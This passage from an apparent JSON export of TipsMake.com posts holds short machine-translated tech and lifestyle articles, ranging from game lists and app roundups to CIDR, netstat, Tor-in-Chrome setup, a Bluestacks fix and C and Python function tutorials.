and the vast open world have created a crazy charm.\n2. Mafia 3 Mafia 3 marks a big step forward for the entire series in terms of size, caliber and ambition. At the moment, the games in the series are mostly linear titles with open world elements.\nInstead of distracting players with an open world, Mafia used that to help players immerse themselves in the city where the characters live, while Empire Bay exists only in pieces.\n  Mafia 3, however, looks like a more traditional open-world title where players explore New Bordeaux. It seems almost identical to a Punisher game one might ask for, with the player taking control of a Vietnam veteran and starting a fight against mobs. The world that Mafia 3 created is incredibly realistic, and players will find it difficult to find better-made cutscenes and cutscenes in any other game.\n3. Watch Dogs 2 Watch Dogs 2 is perhaps the most famous return story in the modern video game industry after the first game in the series had a failed start. With some issues like seriously degrading graphics, Watch Dogs is a game with a bold idea but just can't win the fans as expected.\nAs a result, the sequel did not receive much expectation from players. However, critics have had positive reviews for Watch Dogs 2 as this is an extremely well-executed open world game with innovative picks that has yielded pretty good results.\n  Soon after, fans started to pay attention to Watch Dogs 2 and it has now become one of the most loved titles from Ubisoft. Watch Dogs 2 excelled at overcoming mistakes from the previous game and has helped the series get a lot of favor, as well as attracting many new fans.\n4. Yakuza 0 Fans of the Yakuza series could not hide their excitement when Sega announced that the next game would be a prequel to the original game. Even Western players take their hats off before the Yakuza series after hit games like Yakuza Kiwami. The series excelled at creating a perfect melody in gameplay with drama, as well as just enough humor for a great combination. The series outperforms all other games in its genre in terms of gameplay because it probably has the best fighting system ever in the modern gaming industry.\n  Not only that, the game also has a great storyline. With Yakuza 0 discovering the origins of Goro Majima being loved by fans, the game has been very well received around the world.\n5. Red Dead Redemption II Unlike GTA, Red Dead Redemption is about a quiet, introverted man at a bar. Rockstar Games didn't know that the series could turn out to be one of the most popular titles so quickly.\n  Red Dead Redemption is currently one of the best in its genre and has been stealing fans' hearts ever since. Notably, the series 'second game not only met the fans' expectations, but it also surpassed it by leaps and bounds. Red Dead Redemption II features more memorable characters and has taken the series to a whole new level in terms of visuals. Its technical quality and image are unmatched in the gaming industry.\nIf you love GTA V then don't miss out on the playable alternatives introduced above. They have a similar gameplay but still have their own unique features, giving you an unforgettable game experience. Most importantly, these 5 GTA V-like games all have beautiful graphics. ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5koJmdmsBuuMiknGafpJZ6t3nBrqtmr5mptW6uxK2rnqpdnL%2BivMeimqw%3D\n","link":"/post/top-5-games-like-gta-v-but-with-better-graphics/","section":"post","tags":null,"title":"Top 5 games like GTA V but with better graphics"},{"body":"Still know \"lip sync\" is nothing good, but who told lip sync is not, no style? Important is still \"the spirit\" and catch up the trend is very hot in today's youth. If you notice you will see lots of lipsync videos (lip sync) posted on social networks with extremely interesting songs recently.\nAnd to help you create a lot of unique and more interesting lip-syncing videos, the Network Administrator would like to unveil the lip-syncing apps on the best phones and be chosen by many users today.\nApplications to identify songs for smartphones Top 5 great Karaoke applications for Andoird Applications that find 5-digit karaoke song codes 5. Muvik Download Muvik for Android Download Muvik for iOS Talking about lip sync applications on the phone, first of all, Muvik - The name is extremely familiar to those who love this \"lipsync\" subject. Muvik owns a massive audio warehouse with thousands of music tracks, voice lines, video conversations, funny sounds, daily life horror or the latest hot trends for you to choose and comfortably express your voice. or gesture that resembles your idol.\n  Main features of Muvik:\nTurn the lipsync selfie videos extremely handy. Video quality is clear. Support many beautiful effects. Filter effects make video more shimmering. Huge audio warehouse with many topics selected Easily share videos on social networks. 4. Dubsmash Download Dubsmash for Android Download Dubsmash for iOS The list of next lip sync apps on the phone that you should consult is Dubsmash. The highlight of the application is to allow users to choose their favorite music tracks in each song to make \"lipsync\" videos with the best charisma. Of course, Dubsmash also owns an extremely rich Kpop music store, which is loved by many young people, enough for you to stir up social networking sites and create very hot trends today.\n  The main features of Dubsmash:\nChoose your favorite song on Dubsmash. Record yourself with the sound. Share Dub videos with friends. 3. Musical.Ly Download Musical.Ly for Android Download Musical.Ly for iOS Not only is a software, the usual lip sync application, Musical.ly is also a social network that allows you to share the video clips used by Musical.ly. With this software, you can create your own music videos through a combination of a variety of vivid effects, especially the great synchronization between lips and lyrics. In addition, the app offers a variety of hot music topics so you can participate and officially compete with other \"lip sync\" talents. Overall, Musical.ly has a very simple way to use it and it is really a great choice for those who like lip sync.\n  Main features of Musical.Ly:\nMillions of songs and are constantly updated. Vivid sound and video effects. Capture memorable moments when you are \"performing\". How to use Musical.ly - extreme lip sync application\n2. Tik Tok Download Tik Tok for Android Download Tik Tok for iOS Tik Tok recently emerged as a real lip sync application for believers who want to be \"singers\" on social networks. With this application, you can satisfy your passion for music by copying hot songs or funny comedy. Not stopping there, you can unleash your own personality with the sexy dance or the ability to perform with your own copyright.\nAfter filming the lipstick clip, you can also upload the clip to share with everyone at the Tik Tok app. That is also the reason why it is loved by many people, especially young people. Tik Tok is even predicted to become the cultural standard of the current generation of creative youth.\n  Main features of Tik Tok:\nSupport making videos of lip sync. Shoot short music videos on mobile. Video quality is sharp. Take high-speed photos. Face recognition ability. Integrated social networking features. How to use the application Tik Tok sing along to the music\n1. Kwai Download Kwai for Android Download Kwai for iOS Kwai is not a new app, but lately \"has a fever\" when many young people start posting attractive video clips on social networking applications that specialize in this video. What makes Kwai so special is that you can create standalone lip-syncing videos - strangely enough that many other apps are not yet available. Moreover, one thing that many users love is the process of creating, editing videos, posting videos is extremely simple and if you can make lots of really good videos, you will quickly become famous for being a lot. people share as well as have many fans watching.\n  Main features of Kwai:\nEdit short videos with lots of facial effects and background music. Voiceover and unlimited music. The application has a lot of effects to help you have a cute, lovely face. Share fun moments with friends on any social network you like. Follow and connect with people you find interesting. How to use Kwai on your phone, add effects, parody a video voice that is \"hot\" online\nSo we've just listed together a list of lip sync apps on the best and most popular phones available today for you to create your favorite lipsync clips that are being loved. Hope you will choose for yourself a suitable application.\nSee more:\nTop application to mix music on the phone Fitness apps on the phone The best step counter app for Android and iOS ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kpaGgYsC6usJmmKmoo2K8r3nToZxmmpWowW68x6ilng%3D%3D\n","link":"/post/top-5-lip-sync-apps-on-the-best-phone/","section":"post","tags":null,"title":"Top 5 lip sync apps on the best phone"},{"body":"CIDR, short for Classless Inter Domain Routing, is an IP addressing scheme that improves IP address allocation. CIDR replaces the old system based on classes A, B and C. CIDR significantly extends the IPv4 \"life span\", as well as slowing the rise of routing tables.\nIn this article, you will discover how CIDR really works, as well as provide examples to better illustrate the concepts explained.\n   Incident with class-based IP address allocation An inefficient method of allocating old IP addresses and depleting the availability of IPv4 addresses is faster than necessary. Full routing system includes classes A, B and C:\nClass A - Over 16 million host identifiers Class B - 65,535 identifies the host Class C - 254 host identifiers The problem often occurs when an organization requires more than 254 servers. This case will no longer fall into Class C but instead will be Class B. This means that the organization will use Class B licenses even though they have less than 65,535 hosts. Therefore, if an organization only requires 2,500 hosts, they will waste about 63,000 hosts if they hold a Class B license. This will significantly reduce the availability of IPv4 addresses unnecessarily.\nHow does CIDR work? CIDR is based on Variable Length Subnet Masking (VLSM). This allows CIDR to identify prefixes of arbitrary length, making it much more efficient than the old system. CIDR IP address consists of two sets of numbers. The network address is written as a prefix, as you would see in a normal IP address (for example, 192.255.255.255 ). The second part is the suffix indicating how many bits in the entire address (eg / 12 ). Put these two parts together, a CIDR IP address will look like this:\n192.255.255.255/12  Network prefixes are also specified as part of the IP address. This varies depending on the number of bits required. Therefore, with the above example, we can say that the first 12 bits are the network part of the address, and the last 20 bits are for the host address.\nWikipedia's CIDR IPv4 block table below provides a clear overview of how different address formats output a different number of addresses. The format is also classified according to typical usage.\n  Example of CIDR The article mentioned how the CIDR IP address looks. Now, let's look at a few examples to analyze their format. The CIDR Calculation tool is great if you want to easily determine the IP range that the CIDR address is equivalent to. Just enter the CIDR address into the tool and click the Calculate button . This will return information like First IP (first IP), Last IP (last IP), Number of Hosts (number of hosts), etc.\n  Similarly, you can also convert the IP range to CIDR. For example, suppose you want the CIDR notation for IP ranges between 192.0.0.0 and 192.0.0.255. You simply enter these two numbers into the IP Range tool to CIDR and let it return the corresponding CIDR address.\n  CIDR is a great way to improve the efficiency of IP address distribution. The important thing for IPv4 is that IP addresses are quickly exhausted. IPv6 is currently being deployed and although the IP address is no longer a problem, CIDR will continue to be used. Read the article about TipsMake.com 's IPv6 address to learn more about the differences that are available in the latest version of Internet Protocol.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWTnrGz\n","link":"/post/what-is-cidr/","section":"post","tags":null,"title":"What is CIDR?"},{"body":"If you are wondering what gifts to give to your sister or youngest sister, try sending them meaningful wishes. In this article TipsMake.com has summarized the 8/3 wishes for older sisters and girls, you can refer and choose a suitable blessing to give to the woman I care about.\n8/3 good wishes or for my sister 1. Aunt, her little sister and sister are like the moon with the sun, no different from dogs and cats. Yet the moon and the sun share a common sky, dogs and cats play together, love and protect each other. My sisters are united, knowledgeable, love each other, take care of their parents, give thanks to the birth and love . Such feelings, so many families are jealous. I'm happy to be your brother. Yes, this life makes me feel much more meaningful. Wish you on March 8 really meaningful and happy.\n  2. I thank you for everything. Her love will follow me along the way, and she will always be my most beloved sister.\n3. Send my beloved sister: I wish you a happy and happy 8-3 day. Step into a good new age and have lots of luck! Happy 8-3 days!\n4. I don't know when the distance between the two sisters is so far away, even though we still live together side by side . Now I realize that the only one next to me right now is me . I don't It must be that you know how to express your emotions, you live introverted, have little disclosure . And you must never tell me that I love you very much, no matter how much I am always with you, I will always listen and sympathize . me too! Please always support my choice, let me have more heart in life !!! Lovely sister!\n  5. Thank you, my sister, for sharing my happiness and sadness with you. Have confided, encouraged when I succeeded or failed. Although time passed, she was facing many difficulties in life but she hoped she would stand firm and confident with this life. Wishing you much happiness.\n6. Wishing my beloved sister a meaningful March 8, joyful happiness. Wish you always smile, smile, shy smile, youthful smile, full of laughs today.\n7. One day filled with roses sent to my sister! Wishing you a very fresh, healthy, always lovely, lovely in the sunshine and always successful, more successful. I wish your special person always beautiful and happy.\nWishes for girls on March 8 1. On the occasion of 8-3, please send your best wishes to your little sister! Wish my dream will come true and be my best sister!\n2. I have enough qualities to reach the peaks, take the blue sky to limit me. I wish your sister (sister) the International Women's Day 8/3 very happy and happy.\n3. Happy International Women's Day 8/3. Wishing her sister a healthy, happy, more and more beautiful, a lot of success in work and study.\n  4. Congratulations on March 8 girls. One day of the half planet, he sent all the most sincere feelings, best wishes to his sister. Wishing you'll always cheerful and happy. Miss my little sister.\n5. On the occasion of the 8th of March, his brother wished his sister health like Elephant, always studying well, getting more and more beautiful. Please try to study me, I love you the most. My dear brother wishes all good things to come to you and me.\n6. On the occasion of International Women's Day 8/3, I would like to send my best wishes to my sister. Wishing you more and more beautiful so that more guys cling to your feet like fire cling to gasoline, like teeth clinging, like heaven clinging to the cloud, like trees clinging to the ground, like socks . clinging to your feet.\n7. On March 8, wishing her younger sister to be as strong as a buffalo, beautiful as Hang Nga, graceful like a late blooming flower quỳnh.\nRefer to some of the following articles:  Interesting facts about International Women's Day 8/3   What gift to your lover on March 8?   What gifts for your wife on International Women's Day 8/3?   Suggestions to choose mother's gifts on International Women's Day 8/3  Wish you have moments of fun!\nncG1vNJzZmismaXArq3KnmWcp51kr6a%2F02auoquYmsBurc2dZJudo6l6uLXSoZysZZakv27Fzq5kmqaUYsawwdFmqqKrpJq%2FbrvNZqSaqpOdenk%3D\n","link":"/post/best-wishes-and-best-wishes-for-you-and-your-sister-on-march-8/","section":"post","tags":null,"title":"Best wishes and best wishes for you and your sister on March 8"},{"body":"Bluestacks is one of the most complete Android application emulation software on Windows. With Bluestacks, users don't need to install a new operating system on their computer. Instead, Bluestacks runs the Android application on a regular Windows window. So you can run Android apps like running other Windows applications.\nHowever, if you are a Bluestacks user, you will probably encounter error 2318 in the process of using the emulator software. So how to fix this error, please refer to the following article of Network Administrator.\n  1. Causes of errors There are many causes of Bluestacks 2318 errors. The cause may be due to Registry errors, either because of virus attacks, or malicious software.\n2. Solutions to overcome errors Here are some Bluestacks 2318 troubleshooting solutions:\n2.1. Fix Registry errors As mentioned above, the cause of the Bluestacks 2318 error may be due to a corrupted Registry. Therefore, to fix Bluestacks 2318 error, the first solution you can use is to edit the Registry.\nNote:\nDon't forget to back up the Registry before taking the steps.\nTo do this thing:\n- First press Windows + R key combination to open the Run command window.\n- Enter regedit in the Run command window and press Enter or click OK to open the Registry Editor window.\n- Here press Ctrl + F , then enter the keyword bluestacks into it, delete all Bluestacks Registry.\n- Make sure you have deleted Bluestacks following the link below:\nHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionUninstall\n- The next step is to uninstall Bluestacks on the Add or Remove Programs window .\n- Finally reinstalling Bluestacks and error 2318 will no longer exist.\n2.2. Restart the Windows Installer Sometimes the cause of the error may be due to Windows Installer. In this case you just need to restart Windows Installer and the error will be fixed.\n- First open the Command Prompt window under Admin. On Windows 8, 8.1 and Windows 10, press Windows + X key combination to open Power User Menu, then click Command Prompt (Admin).\n- On the Command Prompt window, enter each of the commands below and press Enter:\nnet stop msiserver\nnet start msiserver\n- Finally try to install or uninstall Bluestacks and check if the error is still there.\n2.3. Clean up viruses on the system In some cases, viruses or programs, malicious services can cause errors. Therefore, you should use anti-virus programs and software effectively to remove malicious programs on your system and check if the error is still present.\nRefer to some of the following articles: Play Android games on Windows with BlueStacks\n 4 ways to run Android apps on your computer\n BlueStacks adds 750,000 Android applications to the MAC\n I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kr63BxKyrmpubqHpzf5BxZJ6qoqS%2FbrTEq5ysZZikxG7AzmadorBdnsE%3D\n","link":"/post/bluestacks-2318-error-here-s-how-to-fix-it/","section":"post","tags":null,"title":"Bluestacks 2318 error, here's how to fix it"},{"body":"PUBG Mobile has been dominating for a long time on the ranking of the world's most popular mobile games. However, recently this game has been overtaken by Call of Duty Mobile, according to a report of Ranker.com based on user votes.\nCall of Duty Mobile has officially become the most played mobile game in the world today.\n  Right in the first month of release, Call of Duty: Mobile has reached more than 100 million downloads, four times higher than both PUBG Mobile and Fortnite Mobile and became the most downloaded mobile game in history.\nIn Vietnam, Call of Duty: Mobile has become a 'hot' topic on newspapers, social networks and forums for a long time.\nCompared to PUBG Mobile, Call of Duty Mobile is rated by gamers and experts for better graphics, smoother graphics, more maps and more gameplay elements to play. Call of Duty: Mobile is also very smooth when running on weakly configured smartphones.\n  Following Call of Duty: Mobile are PUBG Mobile, Minecraft, Clash of Clans and Clash Royale, respectively.\nEsports titles are so famous that they become the 'National Game' of a nation in the world Blockbuster Mario Kart Tour game is available for Android and iOS for free, please experience Microsoft has integrated the FPS counter in Windows 10 October update ncG1vNJzZmismaXArq3KnmWcp51ksKK4y2amn2WUqsG6ecyomaKklWK8p7LInKCapJyueqOxwpqknmWknbJuuc6sq2aon6XCra3RZqSompmhsm6zwKacZqyfma66\n","link":"/post/call-of-duty-mobile-officially-became-the-most-popular-mobile-game-today/","section":"post","tags":null,"title":"Call of Duty Mobile officially became the most popular mobile game today"},{"body":"SoftMaker Office NX Home is a professional text editing software, providing full features needed for users similar to Microsoft Office and LibreOffice.\nSoftMaker Office NX Home uses DOCX, XLSX and PPTX file formats so it is compatible with Microsoft's famous Office suite.\nWith light capacity, SoftMaker Office is compatible with almost all hardware settings and works smoothly on any computer. Users can even install it to USB for use on other computers without reinstalling.\nCurrently, SoftMaker Office NX is free for 6 months, each license can be used simultaneously on 5 different devices. If you need to use it, please quickly follow the instructions below before the expiration of the promotion on 08/8/2018.\nStep 1: Access the link below and click on Subscribe to continue.\nhttps://shop.softmaker.com/shop/shop.php?go\u0026amp;products\n  Step 2: The payment page appears, look at the price column to make sure that SoftMaker Office NX is still free -\u0026gt; click the Proceed to checkout button.\n  Step 3: Fill in the information to register the account -\u0026gt; click Continue .\n  Step 4: Confirm the information -\u0026gt; click Continue .\n  Step 5: Click Next step -\u0026gt; click Confirm your order to complete.\n  Step 6: Check the email used to register the account in step 3 to receive Giveaway information. In the mail there will be a link to download the installation file and the License Key to activate the copy of Office NX Home for you to use when installing the software.\n  See more:\n7 good choices replace Microsoft Office Free 6 month license for Bitdefender Internet Security 2019 Microsoft Office 365 version is supported against blackmail ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdqbWmeZBtcHJlo6SztbnApJyrZZ%2Bbs6qvxGalsWWYpLqmec6fnaKblWLAtrXTnmSfqpWaerCyjJyfmqqXmg%3D%3D\n","link":"/post/download-the-14-99-softmaker-office-nx-home-office-suite-free-of-charge/","section":"post","tags":null,"title":"Download the $ 14.99 SoftMaker Office NX Home office suite, free of charge"},{"body":"Private browsing primarily works between Internet users and destination websites. This intermediary is actually a proxy server, changes the IP address of the system and provides a random IP address for the website to access. For example, if you are browsing from the United States and using some Dutch proxy servers, the IP address will be sent to the site as the address of the Netherlands. And most users choose a popular browser or proxy service like Tor, a proxy server that helps users browse the web anonymously on the Internet. But do you know that this service can really be used in Google Chrome? Yes, you can access the Tor network right in the Google Chrome browser. This article will show you how to do that.\nHow to access Tor network in Chrome browser This method is quite simple and easy, you just need to follow the steps below.\nStep 1. First of all in the Google Chrome browser, you need to download and install the Kronymous extension - Access internet via Tor Network.\nStep 2. Now the application will be installed in the browser and you can see the applications in the list, just click on the application and then click OK on the window that appears.\n  Step 3. Now simply click on Start Tor Proxy to start the service.\n  Step 4. You will see a completed message when the service has finished booting.\n  Now you can surf the web anonymously with the Tor network.\nAlternative method This is another method you can use to access the Tor network on the Chrome browser. You need to follow the steps below carefully to avoid errors.\nStep 1: First, you need to download and install the Tor browser to your computer.\nDownload : Tor Browser Step 2: In the next step, you need to install Proxy Swichy extension on Chrome browser.\nStep 3: After adding the browser, you will change the Profile Name name and enable the Manual Configuration box. On the HTTP Proxy field, you need to enter 127.0.0.1 and in Port enter 8118 . After that, you need to check the Use The Same Proxy Server For All Protocols box .\n  Step 4: Click Save, then go to the General tab and activate the Quick Switch option. Select the Binary switch and then in Profile 1 choose Direct Connection , in Profile 2 choose the name you entered in the previous step.\n  Finally, click the Save button. So you can access the Tor network directly from the Chrome browser.\nAbove is how to access Tor network in Chrome browser. Using this way you can easily protect yourself from hackers and spy organizations.\nSee more:\nHow to use Tor Browser to surf anonymously How to turn off anonymous access on the browser Face point 15 the safest web browser for Android ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmTmLK0v4ytpqtlnprBuLvRpGSipl2YtbO7zJ5km6qfrMCmvg%3D%3D\n","link":"/post/how-to-access-tor-network-in-chrome-browser/","section":"post","tags":null,"title":"How to access Tor network in Chrome browser"},{"body":"As you all know epub is an e-book file format, for those of you who read books on computers or other e-reading devices will definitely know about this format. However, to read this epub format, we need specialized software, not as common as PDF format. In the following article, TipsMake.com will guide you how to convert Epub files to PDF so that it can be opened more easily. Please refer.\n  1. Use the Convertio online tool Step 1 : Visit the website: https://convertio.co/vn/\nAt the main interface of the website we will upload the epub file, there are a number of options as follows, you can select the epub file from the computer, from the dropbox, google drive or from a certain path.\nFor example, here we will select the epub file from the computer:\n  Step 2 : Select the epub file in your computer then click Open, note that you can select multiple files at the same time up to 5 files.\n  Step 3: In the new window in the destination, we will select the format you want to convert to which is PDF\n  Step 4: Select finished, click the Change button to start the conversion process.\n  After conversion, press the Download button to save the PDF file to your computer.\n  2. Use the ebook2pdf online tool The second online tool that we would like to recommend to you is called ebook2pdf, with this tool we can convert 20 files at a time and it's free.\nStep 1: You access the website at the following address: https://ebook2pdf.com/en/\nRight at the interface of the website, please click Upload File\n  Next select the file you want to convert and click Open, as mentioned above you can select up to 20 files at once.\n  Step 2 : Immediately after clicking Open your file will automatically be uploaded and automatically converted, you just need to wait a while and click Download is done. Very fast is not it.\n  3. Using the Epubor ePUB2PDF software If you do not like using online tools, you can use the EPUB to PDF converter software called Epubor ePUB2PDF which is a completely free software, its capacity is also very light. It is also very easy to use.\nStep 1 : You can download the application by visiting the link from the homepage:\nhttps://www.epubor.com/epub-to-pdf-converter.html\nAfter downloading, double-click on the file to install the software, after the installation is complete, open the application and at the main interface, click the Add button to select the Epub file to convert.\n  Step 2: After selecting the PDF file, you will see a list of how the epub file will appear on the screen, you just need to press the Convert button to convert the file.\n  Step 3 : When the conversion is complete, a message will appear, click OK the software will automatically open the folder containing the converted PDF file. Very simple is not it.\n  Above TipsMake.com has introduced to you some simple ways to convert Epub files to PDF easily. Thank you for watching, wish you success.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmnKmtkmLBsHnPnZ1mm5%2Bjw6a%2B02acqa2SYsGwec%2BdnQ%3D%3D\n","link":"/post/how-to-convert-epub-to-pdf/","section":"post","tags":null,"title":"How to convert EPUB to PDF"},{"body":"New chips from Intel will be branded simply as Core i3 (basic), Core i5 (midrange) and Core i7 (premium). \n More specifically, the desktop chip code-named Lynnfield will include two i5 and i7 versions, while the Clarksfield chip used in laptops will be a high-end Core i7. Arrandale (mobile 32 nm) will first appear with the Core i3 brand and gradually expand to i5 and i7 while Clarkdale (32 nm desktop) will be available with i3 and i5 versions.  \" Even in the second half of this year, Core i5 products and some new i7 versions will go on sale. By early 2010, more i3 products will be shipped, \" wrote Deborah Conrad, Intel vice president. website of this company. In parallel with the appearance of new products, old brands like Core 2 Duo and Core 2 Quad will gradually disappear. Centrino is still available in the computer market next year but will only be included in Wi-Fi and WiMAX devices later. \" We will also maintain Celeron for low-cost computers, Pentium in basic systems and Atom for netbooks. In other words, Celeron is a good choice for customers, Pentium is better and Intel Core is the best. \"Conrad confirmed. Some milestones for Intel's brand development 2003 : The first laptops to use Centrino introduced a whole new concept of an integrated computing platform with strong performance, wireless connectivity and long battery life. 2004 : Pentium M mobile processor is the heart of Intel Centrino technology systems with processing speeds of up to 2.13 GHz and built-in Wi-Fi connectivity. 2005 : Intel introduces the next generation of Centrino processors, which enhances performance and enhances security for business users, and delivers high-quality graphics, audio and video technology. 2006 : The Intel Core 2 Duo was born, providing twice as fast performance and high power savings. 2007 : Centrino Pro processors ensure fast, low-cost troubleshooting and increased security. 2008 : The new generation of Centrino is powered by Intel's advanced 45-nanometer (nm) processor, Core 2 Duo.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKVkq52goa6kscNmmqiqlWJ%2FbrDUqGSwoaSdeqp%2FjKJsZpmemXqqgw%3D%3D\n","link":"/post/intel-replaced-core-2-duo-with-i3-i5-and-i7/","section":"post","tags":null,"title":"Intel replaced Core 2 Duo with i3, i5 and i7"},{"body":"Microsoft has just had to urgently suspend the free trial of Windows 365 Cloud PC services due to no longer available servers.\nRecently, Microsoft has officially launched the Windows 365 cloud-based virtual computing experience. This service allows businesses to rent virtual Windows 10 and Windows 11 computers on the cloud for employees. mine.\nThese virtual computers come in a variety of hardware configurations with flexible CPU, RAM, and storage options. The price of the service is from 20 USD to 162 USD / 1 user / 1 month.\nRight after that, Microsoft offered a free trial program with Cloud PC configurations of 2vCPU/4GB RAM/128GB, 2 vCPU/8 RAM/128GB or 4 vCPU/16 RAM/128GB within 2 months.\n  Perhaps because Microsoft did not anticipate the need to try Windows 365 Cloud PC, Microsoft did not prepare well. Microsoft's server system was quickly overloaded and eventually was no longer able to serve. If you try to access the test server you will see an error message like below:\nScott Manchester, Director of Windows 365 confirmed the free trial program is currently on hold. Microsoft is adding more server capabilities and will continue to allow businesses to sign up for a trial in the near future.\nBleepingComputer site has tested Windows 365 and confirmed that the service works well even when accessed via a browser.\nHopefully, Microsoft will learn from this trial so that Windows 365 Cloud PC can meet the needs when officially serving customers.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsKzs8Snq6WxXajBsLzSZquhnV2bv6axjLCgp5yfrMBuf5VuZJykn6qxbrzCZqerp5enrq55w66cZqyfYsCmvtWeqWanppq%2FrbvAnQ%3D%3D\n","link":"/post/microsoft-urgently-stops-the-free-windows-365-cloud-pc-program-due-to-server-overload/","section":"post","tags":null,"title":"Microsoft urgently stops the free Windows 365 Cloud PC program due to server overload"},{"body":"(Applies to Windows Server (Semi-Annual Channel), Windows Server 2016, Windows Server 2012 R2, Windows Server 2012)\nDisplay active TCP connections, ports at which the computer is listening and simultaneously display Ethernet statistics, IP routing tables, IPv4 statistics (for IP protocols, ICMP, TCP and UDP) and IPv6 statistics (for IPv6, ICMPv6, TCP over IPv6 and UDP via IPv6 protocol).Without using parameters, netstat displays active TCP connections.\nSyntax  netstat [-a] [-e] [-n] [-o] [-p] [-r] [-s] []  Parameters Parameters\nDescribe\n-a\nDisplays all active TCP connections, as well as TCP and UDP ports on which the computer is listening.\n-e\nDisplay Ethernet statistics, such as number of bytes and packets sent and received.This parameter can be combined with -s.\n-n\nDisplay of active TCP connections, however, addresses and port numbers are denoted as numeric but cannot specify a specific name.\n-o\nDisplays active TCP connections and includes Process ID (Process ID - PID) for each connection.You can find the application by looking up the PID on the Processes tab in Windows Task Manager.This parameter can be combined with -a, -n and -p.\n-p\nDisplays the connection for the protocol specified byProtocol . In this case, the Protocol can be tcp, udp, tcpv6 or udpv6. If this parameter is used with -s to display statistics by protocol, Protocolcan be tcp, udp, icmp, ip, tcpv6, udpv6, icmpv6 or ipv6.\n-S\nDisplay statistics by protocol.By default, the statistics are displayed for TCP, UDP, ICMP and IP protocols.If the IPv6 protocol is installed, the statistics will be displayed for the TCP protocol via IPv6, UDP over IPv6, ICMPv6 and IPv6.The -p parameter can be used to specify a set of protocols.\n-r\nDisplay the contents of the IP routing table (IP routing table).This information is equivalent to the print route command.\nAfter every second, the selected information will be displayed again.Press CTRL + C to stop the display process again.If this parameter is omitted, netstat only prints the selected information once.\n/?\nShow help at thecommand prompt.\nNote - The parameters used with this command must be preceded by a hyphen (-) instead of a slash (/).\n- The netstat command provides statistics for the following objects:\nThe name of the protocol (TCP or UDP). Local address.The IP address of the local computer and the port number is being used.The name of the local computer corresponds to the IP address and the name of the port is displayed unless the -n parameter is specified.If the port is not set, the port number is displayed as an asterisk (*). Remote address.The IP address and port number of the remote computer are connected.Remote computer names corresponding to the IP address and port are displayed unless the -n parameter is specified.If the port is not set, the port number is displayed as an asterisk (*). Status.Indicates the status of TCP connections.The states may be as follows: CLOSE_WAIT CLOSED ESTABLISHED FIN_WAIT_1 FIN_WAIT_2 LAST_ACK listEN SYN_RECEIVED SYN_SEND timeD_WAIT for more information on the status of the TCP connection, refer to Rfc 793. - This command can only be used if the Internet Protocol (TCP / IP) protocol is installed as a component in the properties of the network adapter in the Network Connections system.\nFor example To display both Ethernet statistics as well as statistics for all protocols, type:\n netstat -e -s  To display only statistics for TCP and UDP protocols, type:\n netstat -s -p tcp udp  To display active TCP connections and process IDs every 5 seconds, type:\n netstat -o 5  To display active TCP connections and process IDs in digital form, type:\n netstat -n -o  See more:\nNetcfg command in Windows Nbtstat command in Windows Bitsadmin create command in Windows Bcdboot command in Windows The bcdedit command in Windows ncG1vNJzZmismaXArq3KnmWcp51ku6bA0q2YrWWTpLqurc2dZKKmXay2r7DOsKo%3D\n","link":"/post/netstat-command-in-windows/","section":"post","tags":null,"title":"Netstat command in Windows"},{"body":"Qualcomm introduced a new VR development toolkit based on the Snapdragon 845 platform.\nThis kit will include hardware in the form of a standalone VR headset along with the software development kit (SDK), which supports key features of VR including motion mapping and eye tracking. Hiren Bhinde, Qualcomm's product manager, said the tool is designed to minimize \"some of the problems in optimizing virtual reality content for mobile phones\".\nSome reports said the specifications of the headset include AMOLED screens WQHD, 4GB RAM, 64GB of memory, Bluetooth connectivity and Wi-Fi. The motion monitor is handled by a pair of 1MP monochrome cameras and an eye monitor using two monochrome VGA components.\n  On the software side of this toolkit includes additional features, such as 6DoF with simultaneous mapping that allows users to freely move and a boundary system to help major VR developers Visualize real-time restrictions in VR.\nQualcomm said the entire tool will be available in the second quarter of the year, but does not share specific dates or pricing details for the toolkit.\nSee more:\nFacebook upgrade News Feed, support 3D image display, VR and AR virtual reality 4 steps to clean Samsung Gear VR virtual reality glasses What is AR? What is VR? Are these two technologies similar and different? ncG1vNJzZmismaXArq3KnmWcp51kvraty5ympqVdoa62usKhnJ1lpJ2ybr%2FNmqedqpGcvK951atknZ2mmrmwvMyepa1lm57B\n","link":"/post/qualcomm-launched-the-snapdragon-vr-development-kit/","section":"post","tags":null,"title":"Qualcomm launched the Snapdragon VR development kit"},{"body":"The int remove (const char * filename) function in Library C standard deletes the filename so it is no longer accessible.\nDeclare the remove () function in C Below is the declaration for the remove () function in C:\nint remove ( const char * filename )  Parameters\nfilename - This is the string containing the file name to be deleted.\nReturns the value\nIf successful, return 0. If there is an error, return -1 and errno are set appropriately.\nFor example\nThe following C program illustrates the use of the remove () function in C:\n#include #include int main () { int ret ; FILE * fp ; char filename [] = \"baitapc.txt\" ; fp = fopen ( filename , \"w\" ); fprintf ( fp , \"%s\" , \"Hoc C co ban va nang cao tai QTM !!!\" ); fclose ( fp ); ret = remove ( filename ); if ( ret == 0 ) { printf ( \"Xoa file thanh cong !!!\" ); } else { printf ( \"Error: khong the xoa file tren\" ); } return ( 0 ); }  Suppose we have baitapc.txt with some content. We are about to delete this file by using the above program. Compiling and running the above program will give the following message and the file has been permanently deleted.\n  According to Tutorialspoint\nPrevious lesson: Function fwrite () in C\nNext lesson: rename () function in C\nncG1vNJzZmismaXArq3KnmWcp51kv6a5zq%2BcZp6lo7C1tc6nZKKmXZg%3D\n","link":"/post/remove-function-in-c/","section":"post","tags":null,"title":"Remove () function in C"},{"body":"The compile () function returns a code object in Python from the specified source, be it a normal string, byte string or AST object. How is the syntax of compile () function, what parameters does it have and how to use it? Invites you to read the track.\n  The compile () function syntax in Python  compile(source, filename, mode, flags=0, dont_inherit=False, optimize=-1)  The compile () function uses when your Python code is in the form of strings or AST and you want to convert it to an object code.\nThe object code converted with compile () will be invoked by the program by exec () and eval ().\nThe parameters of compile function () source: the source you want to convert, usually in the form of a string, byte object or AST object. filename: file name contains the source. If the source does not belong to any file, you can name it 